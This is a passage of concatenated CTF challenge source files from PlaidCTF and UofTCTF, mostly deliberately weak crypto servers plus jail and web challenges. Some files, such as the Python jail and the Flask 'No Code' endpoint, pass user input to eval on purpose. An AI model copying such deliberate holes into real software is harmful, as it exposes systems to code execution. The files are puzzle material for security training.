239, 234, 71, 241, 157, 170, 64, 100, 16, 97, 227, 204, 34, 4, 50, 126, 209, 174, 46, 45, 28, 232, 24, 212, 244, 220, 173, 17, 54, 231, 108, 65, 202, 27, 68, 26, 183, 148, 242]
def encrypt1(k, plaintext):
a,b,c,d = plaintext
for i in range(ROUNDS):
a ^= sbox[b ^ k[(2*i)&3]]
c ^= sbox[d ^ k[(2*i+1)&3]]
a,b,c,d = b,c,d,a
return bytes([a,b,c,d])
def encrypt2(k, plaintext):
a,b,c,d = plaintext
for i in range(ROUNDS)[::-1]:
b,c,d,a = a,b,c,d
c ^= sbox[d ^ k[(2*i)&3]]
a ^= sbox[b ^ k[(2*i+1)&3]]
return bytes([a,b,c,d])
key = os.urandom(4)
result = b""
def handle_queries(f):
global result
num_queries = 0
while True:
query = bytes.fromhex(input("input (hex): "))
assert len(query) % 4 == 0
assert len(query) > 0
for i in range(0, len(query), 4):
result += f(key, query[i:i+4])
num_queries += 1
if num_queries >= QUERIES:
return
print("ENCRYPT 1")
handle_queries(encrypt1)
print("ENCRYPT 2")
handle_queries(encrypt2)
print("result:", result.hex())
signal.alarm(30)
guess = bytes.fromhex(input("key guess (hex): "))
if guess == key:
print("Congrats!")
with open("flag", "r") as f:
print(f.read().strip())
else:
print("Wrong key.")
print("Expected:", key.hex())
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2022/crypto/pressure/server.py | ctfs/PlaidCTF/2022/crypto/pressure/server.py | from nacl.bindings.crypto_scalarmult import (
crypto_scalarmult_ed25519_noclamp,
crypto_scalarmult_ed25519_base_noclamp,
)
from nacl.bindings.crypto_core import (
crypto_core_ed25519_scalar_mul,
crypto_core_ed25519_scalar_reduce,
crypto_core_ed25519_is_valid_point,
crypto_core_ed25519_NONREDUCEDSCALARBYTES,
crypto_core_ed25519_BYTES
)
import struct
import os
import ast
import hashlib
import random
def sha512(b):
return hashlib.sha512(b).digest()
CONST = 4096
SECRET_LEN = int(random.randint(128, 256))
SECRET = [random.randint(1, 255) for i in range(SECRET_LEN)]
with open('flag', 'r') as f:
FLAG = f.read()
def hsh(s):
h = sha512(s)
assert len(h) == crypto_core_ed25519_NONREDUCEDSCALARBYTES
return crypto_scalarmult_ed25519_base_noclamp(crypto_core_ed25519_scalar_reduce(h))
def generate_secret_set(r):
s = set()
for (i, c) in enumerate(SECRET):
s.add(hsh(bytes(str(i + 25037 * r * c).strip('L').encode('utf-8'))))
return s
def genr():
i = 0
while i == 0:
i, = struct.unpack('<I', os.urandom(4))
return i
def handle_client1():
print("Let's see if we share anything! You be the initiator this time.")
r = genr()
s = generate_secret_set(r)
for k in range(1, CONST):
s.add(hsh(bytes(str(k + CONST * (r % k)).strip('L').encode('utf-8'))))
b = crypto_core_ed25519_scalar_reduce(os.urandom(crypto_core_ed25519_NONREDUCEDSCALARBYTES))
server_s = set(crypto_scalarmult_ed25519_noclamp(b, e) for e in s)
client_s = set()
print("Send your data!")
got = ast.literal_eval(input())
for e in got:
if not crypto_core_ed25519_is_valid_point(e):
print("Bad client!")
exit()
client_s.add(e)
server_combined_client = set(
crypto_scalarmult_ed25519_noclamp(b, e) for e in client_s
)
client_resp1 = [e for e in server_combined_client]
client_resp2 = [e for e in server_s]
random.shuffle(client_resp1)
random.shuffle(client_resp2)
print(repr(client_resp1))
print(repr(client_resp2))
return r, s
def handle_client2(r, s):
print("Let's see if we share anything! I'll be the initiator this time.")
b = crypto_core_ed25519_scalar_reduce(os.urandom(crypto_core_ed25519_NONREDUCEDSCALARBYTES))
server_s = set(crypto_scalarmult_ed25519_noclamp(b, e) for e in s)
to_client = [e for e in server_s]
random.shuffle(to_client)
print(repr(to_client))
client_s = set()
print("Send client points: ")
got = ast.literal_eval(input())
for e in got:
if not crypto_core_ed25519_is_valid_point(e):
print("Bad client!")
exit()
client_s.add(e)
masked_s = set()
print("Send masked server points: ")
got = ast.literal_eval(input())
for e in got:
if not crypto_core_ed25519_is_valid_point(e):
print("Bad client!")
exit()
masked_s.add(e)
if len(masked_s) != len(server_s):
print("Bad client!")
exit()
if masked_s & server_s:
print("Bad client!")
exit()
masked_c = set(crypto_scalarmult_ed25519_noclamp(b, e) for e in client_s)
if masked_c == masked_s:
print(FLAG)
else:
print("Aw, we don't share anything.")
def main():
r, s = handle_client1()
handle_client2(r, s)
if __name__ == "__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2020/pwn/ipppc/hashcash.py | ctfs/PlaidCTF/2020/pwn/ipppc/hashcash.py | #!/usr/bin/env python2.3
"""Implement Hashcash version 1 protocol in Python
+-------------------------------------------------------+
| Written by David Mertz; released to the Public Domain |
+-------------------------------------------------------+
Double spend database not implemented in this module, but stub
for callbacks is provided in the 'check()' function
The function 'check()' will validate hashcash v1 and v0 tokens, as well as
'generalized hashcash' tokens generically. Future protocol version are
treated as generalized tokens (should a future version be published w/o
this module being correspondingly updated).
A 'generalized hashcash' is implemented in the '_mint()' function, with the
public function 'mint()' providing a wrapper for actual hashcash protocol.
The generalized form simply finds a suffix that creates zero bits in the
hash of the string concatenating 'challenge' and 'suffix' without specifying
any particular fields or delimiters in 'challenge'. E.g., you might get:
>>> from hashcash import mint, _mint
>>> mint('foo', bits=16)
'1:16:040922:foo::+ArSrtKd:164b3'
>>> _mint('foo', bits=16)
'9591'
>>> from sha import sha
>>> sha('foo9591').hexdigest()
'0000de4c9b27cec9b20e2094785c1c58eaf23948'
>>> sha('1:16:040922:foo::+ArSrtKd:164b3').hexdigest()
'0000a9fe0c6db2efcbcab15157735e77c0877f34'
Notice that '_mint()' behaves deterministically, finding the same suffix
every time it is passed the same arguments. 'mint()' incorporates a random
salt in stamps (as per the hashcash v.1 protocol).
"""
import sys
from string import ascii_letters
from math import ceil, floor
from sha import sha
from random import choice
from time import strftime, localtime, time
ERR = sys.stderr # Destination for error messages
DAYS = 60 * 60 * 24 # Seconds in a day
tries = [0] # Count hashes performed for benchmark
def mint(resource, bits=20, now=None, ext='', saltchars=8, stamp_seconds=False):
"""Mint a new hashcash stamp for 'resource' with 'bits' of collision
20 bits of collision is the default.
'ext' lets you add your own extensions to a minted stamp. Specify an
extension as a string of form 'name1=2,3;name2;name3=var1=2,2,val'
FWIW, urllib.urlencode(dct).replace('&',';') comes close to the
hashcash extension format.
'saltchars' specifies the length of the salt used; this version defaults
8 chars, rather than the C version's 16 chars. This still provides about
17 million salts per resource, per timestamp, before birthday paradox
collisions occur. Really paranoid users can use a larger salt though.
'stamp_seconds' lets you add the option time elements to the datestamp.
If you want more than just day, you get all the way down to seconds,
even though the spec also allows hours/minutes without seconds.
"""
ver = "1"
now = now or time()
if stamp_seconds: ts = strftime("%y%m%d%H%M%S", localtime(now))
else: ts = strftime("%y%m%d", localtime(now))
challenge = "%s:"*6 % (ver, bits, ts, resource, ext, _salt(saltchars))
return challenge + _mint(challenge, bits)
def _salt(l):
"Return a random string of length 'l'"
alphabet = ascii_letters + "+/="
return ''.join([choice(alphabet) for _ in [None]*l])
def _mint(challenge, bits):
"""Answer a 'generalized hashcash' challenge'
Hashcash requires stamps of form 'ver:bits:date:res:ext:rand:counter'
This internal function accepts a generalized prefix 'challenge',
and returns only a suffix that produces the requested SHA leading zeros.
NOTE: Number of requested bits is rounded up to the nearest multiple of 4
"""
counter = 0
hex_digits = int(ceil(bits/4.))
zeros = '0'*hex_digits
while 1:
digest = sha(challenge+hex(counter)[2:]).hexdigest()
if digest[:hex_digits] == zeros:
tries[0] = counter
return hex(counter)[2:]
counter += 1
def check(stamp, resource=None, bits=None,
check_expiration=None, ds_callback=None):
"""Check whether a stamp is valid
Optionally, the stamp may be checked for a specific resource, and/or
it may require a minimum bit value, and/or it may be checked for
expiration, and/or it may be checked for double spending.
If 'check_expiration' is specified, it should contain the number of
seconds old a date field may be. Indicating days might be easier in
many cases, e.g.
>>> from hashcash import DAYS
>>> check(stamp, check_expiration=28*DAYS)
NOTE: Every valid (version 1) stamp must meet its claimed bit value
NOTE: Check floor of 4-bit multiples (overly permissive in acceptance)
"""
if stamp.startswith('0:'): # Version 0
try:
date, res, suffix = stamp[2:].split(':')
except ValueError:
ERR.write("Malformed version 0 hashcash stamp!\n")
return False
if resource is not None and resource != res:
return False
elif check_expiration is not None:
good_until = strftime("%y%m%d%H%M%S", localtime(time()-check_expiration))
if date < good_until:
return False
elif callable(ds_callback) and ds_callback(stamp):
return False
elif type(bits) is not int:
return True
else:
hex_digits = int(floor(bits/4))
return sha(stamp).hexdigest().startswith('0'*hex_digits)
elif stamp.startswith('1:'): # Version 1
try:
claim, date, res, ext, rand, counter = stamp[2:].split(':')
except ValueError:
ERR.write("Malformed version 1 hashcash stamp!\n")
return False
if resource is not None and resource != res:
return False
elif type(bits) is int and bits > int(claim):
return False
elif check_expiration is not None:
good_until = strftime("%y%m%d%H%M%S", localtime(time()-check_expiration))
if date < good_until:
return False
elif callable(ds_callback) and ds_callback(stamp):
return False
else:
hex_digits = int(floor(int(claim)/4))
return sha(stamp).hexdigest().startswith('0'*hex_digits)
else: # Unknown ver or generalized hashcash
ERR.write("Unknown hashcash version: Minimal authentication!\n")
if type(bits) is not int:
return True
elif resource is not None and stamp.find(resource) < 0:
return False
else:
hex_digits = int(floor(bits/4))
return sha(stamp).hexdigest().startswith('0'*hex_digits)
def is_doublespent(stamp):
"""Placeholder for double spending callback function
The check() function may accept a 'ds_callback' argument, e.g.
check(stamp, "mertz@gnosis.cx", bits=20, ds_callback=is_doublespent)
This placeholder simply reports stamps as not being double spent.
"""
return False
if __name__=='__main__':
# Import Psyco if available
try:
import psyco
psyco.bind(_mint)
except ImportError:
pass
import optparse
out, err = sys.stdout.write, sys.stderr.write
parser = optparse.OptionParser(version="%prog 0.1",
usage="%prog -c|-m [-b bits] [string|STDIN]")
parser.add_option('-b', '--bits', type='int', dest='bits', default=20,
help="Specify required collision bits" )
parser.add_option('-m', '--mint', help="Mint a new stamp",
action='store_true', dest='mint')
parser.add_option('-c', '--check', help="Check a stamp for validity",
action='store_true', dest='check')
parser.add_option('-s', '--timer', help="Time the operation performed",
action='store_true', dest='timer')
parser.add_option('-n', '--raw', help="Suppress trailing newline",
action='store_true', dest='raw')
(options, args) = parser.parse_args()
start = time()
if options.mint: action = mint
elif options.check: action = check
else:
out("Try: %s --help\n" % sys.argv[0])
sys.exit()
if args: out(str(action(args[0], bits=options.bits)))
else: out(str(action(sys.stdin.read(), bits=options.bits)))
if not options.raw: sys.stdout.write('\n')
if options.timer:
timer = time()-start
err("Completed in %0.4f seconds (%d hashes per second)\n" %
(timer, tries[0]/timer))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2020/pwn/ipppc/server.py | ctfs/PlaidCTF/2020/pwn/ipppc/server.py | #!/usr/bin/env python2
from hashcash import check
import os
import signal
import SocketServer
import threading
magic = os.urandom(8).encode("hex")
class threadedserver(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
pass
class incoming(SocketServer.BaseRequestHandler):
def recvline(self):
line = ""
while True:
read = self.request.recv(1)
if not read or read == "\n":
break
line += read
return line
def handle(self):
resource = os.urandom(8).encode("hex")
self.request.send(resource)
self.request.send("\n")
token = self.recvline()
if (not check(token, resource=resource, bits=28)) and (not token.startswith(magic)):
self.request.send("BAD\n")
self.request.close()
return
self.request.send("Welcome to the world's premier search engine\n")
self.request.send("Enter a URL and a search string, and we'll recursively\n")
self.request.send("search that page for your given string!\n")
self.request.send("(eg: https://en.wikipedia.org/wiki/Main_Page Bacon)\n\n")
pid = os.fork()
if (pid < 0):
self.request.send("something super bad happened\n")
self.request.close()
return
if pid:
self.request.close()
return
# reparent to init
if os.fork():
os._exit(0)
os.setsid()
signal.alarm(30)
os.dup2(self.request.fileno(), 0)
os.dup2(self.request.fileno(), 1)
os.dup2(self.request.fileno(), 2)
os.execl("./connman", "connman")
self.request.send("something real bad happened\n")
self.request.close()
if __name__ == "__main__":
print "if you want to skip hashcash for debugging: %s" % magic
SocketServer.TCPServer.allow_reuse_addr = True
server = threadedserver(('0.0.0.0', 9669), incoming)
server.timeout = 180
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = False
server_thread.start() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2020/pwn/mojo/server.py | ctfs/PlaidCTF/2020/pwn/mojo/server.py | #!/usr/bin/env python3 -u
import hashlib
import os
import random
import string
import sys
import subprocess
import tempfile
MAX_SIZE = 100 * 1024
print("Proof of work is required.")
prefix = "".join([random.choice(string.digits + string.ascii_letters) for i in range(10)])
resource = prefix + "mojo"
bits = 28
cash = input("Enter one result of `hashcash -b {} -m -r {}` : ".format(bits, resource))
r = subprocess.run(["hashcash", "-d", "-c", "-b", str(bits), "-r", resource], input=cash.encode('utf-8'))
if r.returncode != 0:
print("Nope!")
exit()
webpage_size = int(input("Enter size: "))
assert webpage_size < MAX_SIZE
print("Give me your webpage: ")
contents = sys.stdin.read(webpage_size)
tmp = tempfile.mkdtemp(dir=os.getenv("WWW"), prefix=bytes.hex(os.urandom(8)))
index_path = os.path.join(tmp, "index.html")
with open(index_path, "w") as f:
f.write(contents)
sys.stderr.write("New submission at {}\n".format(index_path))
host = "host.docker.internal"
net_args = []
if os.getenv("UNAME") == "Linux":
net_args.append("--add-host={}:{}".format(host, os.getenv("HOST_IP")))
url = "http://{}:{}/{}/index.html".format(
host,
os.getenv("PORT"),
os.path.basename(tmp)
)
subprocess.run(["docker", "run", "--rm", "--privileged"] + net_args +
["mojo", url], stderr=sys.stdout)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2020/crypto/sidhe/pow.py | ctfs/PlaidCTF/2020/crypto/sidhe/pow.py | import sys
import string
import random
import hashlib
# proof of work
prefix = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))
print("Give me a string starting with {} of length {} so its sha256sum ends in fffffff.".format(prefix, len(prefix)+8))
l = input().strip()
if len(l) != len(prefix)+8 or not l.startswith(prefix) or hashlib.sha256(l.encode('ascii')).hexdigest()[-7:] != "fffffff":
print("Nope.")
sys.exit(1)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2020/crypto/dyrpto/generate_problem.py | ctfs/PlaidCTF/2020/crypto/dyrpto/generate_problem.py | from cryptography.hazmat.backends.openssl import backend as openssl_backend
from cryptography.hazmat.primitives.asymmetric.rsa import generate_private_key
import json
from message_pb2 import Message
privkey = generate_private_key(3, 4096, openssl_backend)
pubkey = privkey.public_key()
pubkey_numbers = pubkey.public_numbers()
modulus = pubkey_numbers.n
publicExponent = pubkey_numbers.e
privateExponent = privkey.private_numbers().d
def get_padding():
with open('/dev/urandom', 'rb') as f:
return f.read(24)
def bytes_to_int(message):
return int(message.encode('hex'), 16)
def int_to_bytes(message):
ms = hex(message)[2:].strip('L')
if len(ms) % 2 != 0:
ms = '0' + ms
return ms.decode('hex')
def pad(mi):
return (mi << 192) | bytes_to_int(get_padding())
def unpad(mi):
return mi >> 192
def encrypt(message):
ciphertext = pow(pad(bytes_to_int(message)), publicExponent, modulus)
return int_to_bytes(ciphertext)
def decrypt(ciphertext):
plaintext = unpad(pow(bytes_to_int(ciphertext), privateExponent, modulus))
return int_to_bytes(plaintext)
with open('message.txt', 'r') as f:
flag_message = f.read().strip()
message = Message(id=0, msg=flag_message)
ct1 = encrypt(message.SerializeToString())
message.id = 1
ct2 = encrypt(message.SerializeToString())
print modulus
print len(message.SerializeToString())
print ct1.encode('hex')
print ct2.encode('hex')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2020/crypto/dyrpto/message_pb2.py | ctfs/PlaidCTF/2020/crypto/dyrpto/message_pb2.py | # -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: message.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor.FileDescriptor(
name='message.proto',
package='dyrpto',
syntax='proto2',
serialized_options=None,
serialized_pb=_b('\n\rmessage.proto\x12\x06\x64yrpto\"\"\n\x07Message\x12\n\n\x02id\x18\x01 \x02(\x05\x12\x0b\n\x03msg\x18\x02 \x02(\t')
)
_MESSAGE = _descriptor.Descriptor(
name='Message',
full_name='dyrpto.Message',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='dyrpto.Message.id', index=0,
number=1, type=5, cpp_type=1, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='msg', full_name='dyrpto.Message.msg', index=1,
number=2, type=9, cpp_type=9, label=2,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=25,
serialized_end=59,
)
DESCRIPTOR.message_types_by_name['Message'] = _MESSAGE
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
Message = _reflection.GeneratedProtocolMessageType('Message', (_message.Message,), dict(
DESCRIPTOR = _MESSAGE,
__module__ = 'message_pb2'
# @@protoc_insertion_point(class_scope:dyrpto.Message)
))
_sym_db.RegisterMessage(Message)
# @@protoc_insertion_point(module_scope)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2024/misc/Source_Code_Recovery/chal.py | ctfs/UofTCTF/2024/misc/Source_Code_Recovery/chal.py | import os
import uuid
import zlib
import subprocess
try:
from flag import FLAG
except:
FLAG = "test{FLAG}"
BANNED_LIST = ['#', '_', '?', ':']
MAX_LEN = 20000
N = 25
rows = []
row = input("C Code:")
while row:
rows.append(row)
row = input()
code = "\n".join(rows) + "\n"
if len(code) > MAX_LEN:
quit()
for c in BANNED_LIST:
if c in code:
quit()
# Generate unique filenames using UUID
source_path = "/tmp/" + str(uuid.uuid4()) + "_source.c"
output_path = "/tmp/" + str(uuid.uuid4()) + "_output"
# Write the user-provided code to the source file
with open(source_path, "w") as file:
file.write(code)
# Compile the code using the unique output name
subprocess.run(["sudo", "-u", "nobody", "gcc", "-o", output_path, source_path], shell=False, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
# Clean up the source file immediately after compilation
os.truncate(source_path, 0)
os.remove(source_path)
os.sync()
# Exception handler
def terminate(reason, output_path):
try:
print(reason)
os.remove(output_path)
finally:
exit()
# Verify the file can be recovered
for i in range(N):
otp = os.urandom(len(code))
try:
# Important note: the intended solution does not require file system access or networking.
# As such the sandbox on the flag server is more nuanced than what is shown.
# However, since this is a CTF, you can solve the chal any way you like (within the rules) :)
out = subprocess.check_output(["sudo", "-u", "nobody", output_path], input=otp, stderr=subprocess.STDOUT, timeout=15)
v = int(out.strip())
except subprocess.TimeoutExpired:
terminate("Process Timed Out", output_path)
except subprocess.CalledProcessError:
terminate("Subprocess returned non-zero exit status", output_path)
except ValueError:
terminate("Output conversion failed", output_path)
if zlib.crc32(bytes(a ^ b for a, b in zip(code.encode(), otp))) != v:
terminate("Output Checksum Mismatch", output_path)
else:
print("Checksum Ok i={}".format(i))
# Print flag and clean up
terminate("Wow! You clearly recovered the file so here is your flag: {}".format(FLAG), output_path)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2024/jail/Zero/chal.py | ctfs/UofTCTF/2024/jail/Zero/chal.py | def check(code):
# no letters
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
# no numbers
numbers = "0123456789"
# no underscores
underscore = "__"
return not any((c in alphabet) or (c in numbers) or (underscore in code) for c in code)
def safe_eval(code):
if (check(code)):
g = {'__builtins__': None}
l = {'__builtins__': None}
return print(eval(code, g, l )) # good luck!
else:
print("lol no")
code = input(">>> ")
safe_eval(code) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2024/crypto/repeat/gen.py | ctfs/UofTCTF/2024/crypto/repeat/gen.py | import os
import secrets
flag = "REDACATED"
xor_key = secrets.token_bytes(8)
def xor(message, key):
return bytes([message[i] ^ key[i % len(key)] for i in range(len(message))])
encrypted_flag = xor(flag.encode(), xor_key).hex()
with open("flag.enc", "w") as f:
f.write("Flag: "+encrypted_flag) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2024/crypto/Pianoman/music_cipher.py | ctfs/UofTCTF/2024/crypto/Pianoman/music_cipher.py | # no secrets for you!
flag = ...
# Prime numbers
p = 151974537061323957822386073908385085419559026351164685426097479266890291010147521691623222013307654711435195917538910433499461592808140930995554881397135856676650008657702221890681556382541341154333619026995004346614954741516470916984007797447848200982844325683748644670322174197570545222141895743221967042369
q = 174984645401233071825665708002522121612485226530706132712010887487642973021704769474826989160974464933559818767568944237124745165979610355867977190192654030573049063822083356316183080709550520634370714336131664619311165756257899116089875225537979520325826655873483634761961805768588413832262117172840398661229
n = p * q
# a public exponent hidden away by Windy's musical talents
e = ...
# Converting the message to an integer
m = int.from_bytes(message.encode(), 'big')
# Encrypting the message: c = m^e mod n
inc_m = pow(message_int, e, n)
print(encrypted_message_int)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2024/crypto/Export_Grade_Cipher/chal.py | ctfs/UofTCTF/2024/crypto/Export_Grade_Cipher/chal.py | import ast
import threading
from exportcipher import *
try:
from flag import FLAG
except:
FLAG = "test{FLAG}"
MAX_COUNT = 100
TIMEOUT = 120 # seconds
def input_bytes(display_msg):
m = input(display_msg)
try:
m = ast.literal_eval(m)
except:
# might not be valid str or bytes literal but could still be valid input, so just encode it
pass
if isinstance(m, str):
m = m.encode()
assert isinstance(m, bytes)
return m
def timeout_handler():
print("Time is up, you can throw out your work as the key changed.")
exit()
if __name__ == "__main__":
print("Initializing Export Grade Cipher...")
key = int.from_bytes(os.urandom(5))
cipher = ExportGradeCipher(key)
print("You may choose up to {} plaintext messages to encrypt.".format(MAX_COUNT))
print("Recover the 40-bit key to get the flag.")
print("You have {} seconds.".format(TIMEOUT))
# enough time to crack a 40 bit key with the compute resources of a government
threading.Timer(TIMEOUT, timeout_handler).start()
i = 0
while i < MAX_COUNT:
pt = input_bytes("[MSG {}] plaintext: ".format(i))
if not pt:
break
if len(pt) > 512:
# don't allow excessively long messages
print("Message Too Long!")
continue
nonce = os.urandom(256)
cipher.init_with_nonce(nonce)
ct = cipher.encrypt(pt)
print("[MSG {}] nonce: {}".format(i, nonce))
print("[MSG {}] ciphertext: {}".format(i, ct))
# sanity check decryption
cipher.init_with_nonce(nonce)
assert pt == cipher.decrypt(ct)
i += 1
recovered_key = ast.literal_eval(input("Recovered Key: "))
assert isinstance(recovered_key, int)
if recovered_key == key:
print("That is the key! Here is the flag: {}".format(FLAG))
else:
print("Wrong!") | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2024/crypto/Export_Grade_Cipher/exportcipher.py | ctfs/UofTCTF/2024/crypto/Export_Grade_Cipher/exportcipher.py | import os
class LFSR:
def __init__(self, seed, taps, size):
assert seed != 0
assert (seed >> size) == 0
assert len(taps) > 0 and (size - 1) in taps
self.state = seed
self.taps = taps
self.mask = (1 << size) - 1
def _shift(self):
feedback = 0
for tap in self.taps:
feedback ^= (self.state >> tap) & 1
self.state = ((self.state << 1) | feedback) & self.mask
def next_byte(self):
val = self.state & 0xFF
for _ in range(8):
self._shift()
return val
class ExportGradeCipher:
def __init__(self, key):
# 40 bit key
assert (key >> 40) == 0
self.key = key
self.initialized = False
def init_with_nonce(self, nonce):
# 256 byte nonce, nonce size isnt export controlled so hopefully this will compensate for the short key size
assert len(nonce) == 256
self.lfsr17 = LFSR((self.key & 0xFFFF) | (1 << 16), [2, 9, 10, 11, 14, 16], 17)
self.lfsr32 = LFSR(((self.key >> 16) | 0xAB << 24) & 0xFFFFFFFF, [1, 6, 16, 21, 23, 24, 25, 26, 30, 31], 32)
self.S = [i for i in range(256)]
# Fisher-Yates shuffle S-table
for i in range(255, 0, -1):
# generate j s.t. 0 <= j <= i, has modulo bias but good luck exploiting that
j = (self.lfsr17.next_byte() ^ self.lfsr32.next_byte()) % (i + 1)
self.S[i], self.S[j] = self.S[j], self.S[i]
j = 0
# use nonce to scramble S-table some more
for i in range(256):
j = (j + self.lfsr17.next_byte() ^ self.lfsr32.next_byte() + self.S[i] + nonce[i]) % 256
self.S[i], self.S[j] = self.S[j], self.S[i]
self.S_inv = [0 for _ in range(256)]
for i in range(256):
self.S_inv[self.S[i]] = i
self.initialized = True
def _update(self, v):
i = self.lfsr17.next_byte() ^ self.lfsr32.next_byte()
self.S[v], self.S[i] = self.S[i], self.S[v]
self.S_inv[self.S[v]] = v
self.S_inv[self.S[i]] = i
def encrypt(self, msg):
assert self.initialized
ct = bytes()
for v in msg:
ct += self.S[v].to_bytes()
self._update(v)
return ct
def decrypt(self, ct):
assert self.initialized
msg = bytes()
for v in ct:
vo = self.S_inv[v]
msg += vo.to_bytes()
self._update(vo)
return msg
if __name__ == "__main__":
cipher = ExportGradeCipher(int.from_bytes(os.urandom(5)))
nonce = os.urandom(256)
print("="*50)
print("Cipher Key: {}".format(cipher.key))
print("Nonce: {}".format(nonce))
msg = "ChatGPT: The Kerckhoffs' Principle, formulated by Auguste Kerckhoffs in the 19th century, is a fundamental concept in cryptography that states that the security of a cryptographic system should not rely on the secrecy of the algorithm, but rather on the secrecy of the key. In other words, a cryptosystem should remain secure even if all the details of the encryption algorithm, except for the key, are publicly known. This principle emphasizes the importance of key management in ensuring the confidentiality and integrity of encrypted data and promotes the development of encryption algorithms that can be openly analyzed and tested by the cryptographic community, making them more robust and trustworthy."
print("="*50)
print("Plaintext: {}".format(msg))
cipher.init_with_nonce(nonce)
ct = cipher.encrypt(msg.encode())
print("="*50)
print("Ciphertext: {}".format(ct))
cipher.init_with_nonce(nonce)
dec = cipher.decrypt(ct)
print("="*50)
try:
print("Decrypted: {}".format(dec))
assert msg.encode() == dec
except:
print("Decryption failed")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2024/web/No_Code/app.py | ctfs/UofTCTF/2024/web/No_Code/app.py | from flask import Flask, request, jsonify
import re
app = Flask(__name__)
@app.route('/execute', methods=['POST'])
def execute_code():
code = request.form.get('code', '')
if re.match(".*[\x20-\x7E]+.*", code):
return jsonify({"output": "jk lmao no code"}), 403
result = ""
try:
result = eval(code)
except Exception as e:
result = str(e)
return jsonify({"output": result}), 200
if __name__ == "__main__":
app.run(host="0.0.0.0", port=1337, debug=False)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
